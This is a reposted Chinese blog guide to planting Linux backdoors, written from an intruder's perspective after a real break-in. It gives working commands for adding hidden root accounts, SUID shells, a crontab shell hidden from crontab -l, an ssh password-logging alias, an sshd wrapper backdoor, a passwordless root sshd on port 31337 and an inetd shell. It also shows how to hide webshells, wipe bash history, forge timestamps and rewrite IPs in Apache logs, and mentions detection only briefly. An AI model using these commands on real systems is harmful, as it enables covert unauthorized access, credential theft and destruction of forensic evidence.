Linux后門的幾種姿勢


轉載自 https://evilanne.github.io/2017/08/26/Linux后門-持續關注/

在一次滲透中,成功獲取某目標幾台比較重要的機器,當時只想着獲取脫庫,結果動靜太大被發現了,之前滲透並沒太在意Linux后門,經過此次事后從Google找各種資料,一款滿意的rootkit都沒有,現在一至在關注這方面,有的話會繼續更新

常用后門技術

  • 增加超級用戶帳號
  • 破解/嗅控用戶密碼
  • 放置SUID Shell****
  • 利用系統服務程序
  • TCP/UDP/ICMP Shell
  • Crontab定時任務
  • 共享庫文件
  • 工具包rootkit
  • 可裝載內核模塊(LKM)

增加超級用戶

echo "Img:x:0:0::/:/bin/sh" >> /etc/passwd

如果系統不允許uid=0的用戶遠程登錄, 還需要增加一個普通用戶賬號

echo "Img:x::-1:-1:-1:-1:-1:-1:500" >> /etc/shadow

無回顯添加Linux密碼:

  • /usr/sbin/useradd -u 0 -o -g root -G root -d /home/Img:x Img:x -p $1$F1B0hFxb$NkzreGE7srRJ**\/
  • useradd seradd -u 0 -o -g root -G roo1|| echo "123456" | passwd --stdin roo1
  • echo "123456\n123456" |(sudo passwd roo1)
  • useradd -u 0 -o -g root -G root user2 |echo -e "1qaz2wsx\n1qaz2wsx"|passwd user1

破解/嗅探用戶密碼

獲得shadow文件后,用John the Ripper工具破解薄弱的用戶密碼。

嗅探工具,監聽telnet、ftp等 端口,收集用戶密碼。

放置SUID Shell

(測試失敗):bash2針對suid做了一些護衛措施
普通用戶在本機運行/dev/.rootshell,即可獲得一個root權限的shell。

cp /bin/bash /dev/.rootshell
chmod u+s /dev/.rootshell

Crontab后門

(crontab -l;printf "*/5 * * * * exec9<> /dev/tcp/localhost/8080&&exec0<&9&&exec1>&92>&1&&/bin/bash --noprofile –I;\rno crontab for `whoami`%100c\n")|crontab –

ssh 公鑰免密

(容易被發現)

ssh-keygen -t rsa

id_rsa.pub寫入服務端的authorized_keys

chmod 600 ~/.ssh/authorized_keys
chmod 700 ~/.ssh

alias 后門

當前用戶目錄下.bashrc

alias ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh'

pam 后門 or openssh

最大問題是編譯環境

SSH wrapper后門簡介

cd /usr/sbin/
mv sshd ../bin/
echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd
echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd
/etc/init.d/sshd restart

連接:
socat STDIO TCP4:target_ip:22,sourceport=13377
默認端口為13377否則會出現:
image

mafix rootkit

應用級rookit,主要替換ls、ps、netstat命令來隱藏文件

很多系統不被支持
image

http://www.tuicool.com/articles/eIv22az

利用系統服務程序

修改/etc/inetd.conf
daytime stream tcp nowait /bin/sh sh –I

trojan程序替換in.telnetd、in.rexecd等 inted的服務程序重定向login程序

TCP/UDP/ICMP Shell

BindShell,大部分是基於TCP/UDP協議 的網絡服務程序,在高端口監聽,很容易 被發現。
Ping Backdoor,通過ICMP包激活后門, 形成一個Shell通道。
TCP ACK數據包后門,能夠穿越防火牆。

共享庫文件

在共享庫中嵌入后門函數
使用后門口令激活Shell,獲得權限
能夠躲避系統管理員對二進制文件本身的 校驗

工具包rootkit

包含一系列系統及后門工具:

  • 清除日志中的登錄記錄
  • 偽裝校驗和
  • 替換netstat、ps等網絡工具 – 后門登錄程序易於安裝和使用

可裝載內核模塊(LKM)

LKM:Loadable Kernel Modules
動態的加載,不需要重新編譯內核。
截獲系統調用,具有隱藏目錄、文件、進 程、網絡連接等強大功能。
自身隱蔽性好,發現難度較大。
著名的LKM包有adore和knark。

SSH后門

ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=31337
執行完之后,任何一台機器ssh root@IP -p 31337不需要密碼

后門的檢測

使用Tripwire或md5校驗來檢查系統。
借助IDS系統,監聽到目標機器的可疑網 絡連接。

隱藏文件

Linux/Unix 藏文件和文件夾
Linux/Unix 下想藏 Webshell 或者后門什么的,可以利用一下隱藏文件夾和文件。

方法一
比如創建一個名字開頭帶 . 的 Webshell 或者文件夾,默認情況下是不會顯示出來的,瀏覽器訪問的時候加點訪問就行。(查看方法:ls -a)
touch .webshell.php 創建名字為 .webshell.php 的文件
mkdir .backdoor/ 創建名字為 .backdoor 的文件夾

終極方法
在管理員喝多了或者腦子轉不過來的情況下,是絕對不會發現的!至少我用了這么久是沒幾個發現的。
是文件的話瀏覽器訪問直接輸 … 就行,目錄同理。
touch … 創建名字為 … 的文件
mkdir … 創建名字為 … 的文件夾


清理

bash去掉history記錄

export HISTSIZE=0 export HISTFILE=/dev/null

修改上傳文件時間戳

touch -r 老文件時間戳 新文件時間戳

偽造Apache日志中的指定IP

sed –i ‘s/192.168.1.3/192.168.1.4/g’ /var/log/apache/ access.log
sed –i ‘s/192.168.1.3/192.168.1.4/g’ /var/log/apache/error_log


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM